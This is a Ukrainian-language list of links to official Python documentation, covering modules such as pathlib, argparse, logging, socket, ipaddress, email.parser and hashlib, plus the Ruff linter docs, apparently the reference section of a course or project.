- **Декоратор Data Classes (`dataclasses`):** https://docs.python.org/uk/3/library/dataclasses.html
- **Обробка шляхів та файлів (`pathlib`):** https://docs.python.org/uk/3/library/pathlib.html
- **Розбір аргументів командного рядка (`argparse`):** https://docs.python.org/uk/3/library/argparse.html
- **Модуль логування (`logging`):** https://docs.python.org/uk/3/library/logging.html
- **Регулярні вирази (`re`):** https://docs.python.org/uk/3/library/re.html
- **Робота з датою та часом (`datetime`):** https://docs.python.org/uk/3/library/datetime.html
- **Контейнерні структури даних (`collections`):** https://docs.python.org/uk/3/library/collections.html
- **Документація лінтера Ruff:** https://docs.astral.sh/ruff/
- **Стандартна бібліотека Python:** https://docs.python.org/uk/3/library/index.html
- **Читання файлів і контекстний менеджер `with`:** https://docs.python.org/uk/3/tutorial/inputoutput.html#reading-and-writing-files
- **Формат JSON (`json`):** https://docs.python.org/uk/3/library/json.html
- **Формат CSV (`csv`):** https://docs.python.org/uk/3/library/csv.html
- **Генератори:** https://docs.python.org/uk/3/tutorial/classes.html#generators
- **Обробка винятків:** https://docs.python.org/uk/3/tutorial/errors.html
- **Мережеві адреси (`ipaddress`):** https://docs.python.org/uk/3/library/ipaddress.html
- **Мережеві з'єднання (`socket`):** https://docs.python.org/uk/3/library/socket.html
- **Поштові заголовки (`email.parser`):** https://docs.python.org/uk/3/library/email.parser.html
- **Виведення ключа `hashlib.pbkdf2_hmac`:** https://docs.python.org/uk/3/library/hashlib.html#key-derivation